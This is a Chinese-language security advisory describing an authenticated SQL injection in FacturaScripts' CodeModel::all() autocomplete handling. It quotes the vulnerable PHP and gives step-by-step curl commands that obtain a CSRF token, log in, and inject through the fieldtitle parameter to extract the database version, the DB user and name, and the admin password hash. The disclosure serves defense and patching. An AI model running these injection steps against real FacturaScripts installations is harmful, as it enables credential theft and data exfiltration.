FacturaScripts 在自动完成功能中存在一个严重的 SQL 注入漏洞,该漏洞允许经过身份验证的攻击者从数据库中提取敏感数据,包括用户凭据、配置设置以及所有已存储的业务数据。该漏洞存在于 CodeModel::all() 方法中,用户提供的参数在未经净化或参数化绑定的情况下被直接拼接进 SQL 查询。
FacturaScripts 中的多个控制器(包括 CopyModel、ListController 和 PanelController)实现了自动完成操作,该操作通过 CodeModel::search() 或 CodeModel::all() 方法处理用户输入。这些方法在没有任何验证或转义的情况下,通过直接拼接用户可控参数来构造 SQL 查询。
文件: /Core/Model/CodeModel.php
方法: all()
行: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
以下参数容易受到 SQL 注入攻击:
source → 映射到 $tableName - 表名注入fieldcode → 映射到 $fieldCode - 列名注入fieldtitle → 映射到 $fieldDescription - 列名注入(主要攻击向量)/CopyModel 发送带有 action=autocomplete 的 POST 请求fieldtitle 参数注入由于 FacturaScripts 使用 MultiRequestProtection,每个 POST 请求都需要有效的 multireqtoken。
1. 获取初始令牌和会话 Cookie:
FacturaScripts 会将 / 重定向到 /login,因此我们使用 -L 跟随重定向,并使用 -c 保存会话 Cookie。
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. 身份验证(登录):
使用保存的 Cookie 和令牌进行登录。
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. 提取数据库版本:
为下一个请求获取新的令牌,然后执行注入。
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. 提取数据库用户和名称:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. 提取管理员密码哈希:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
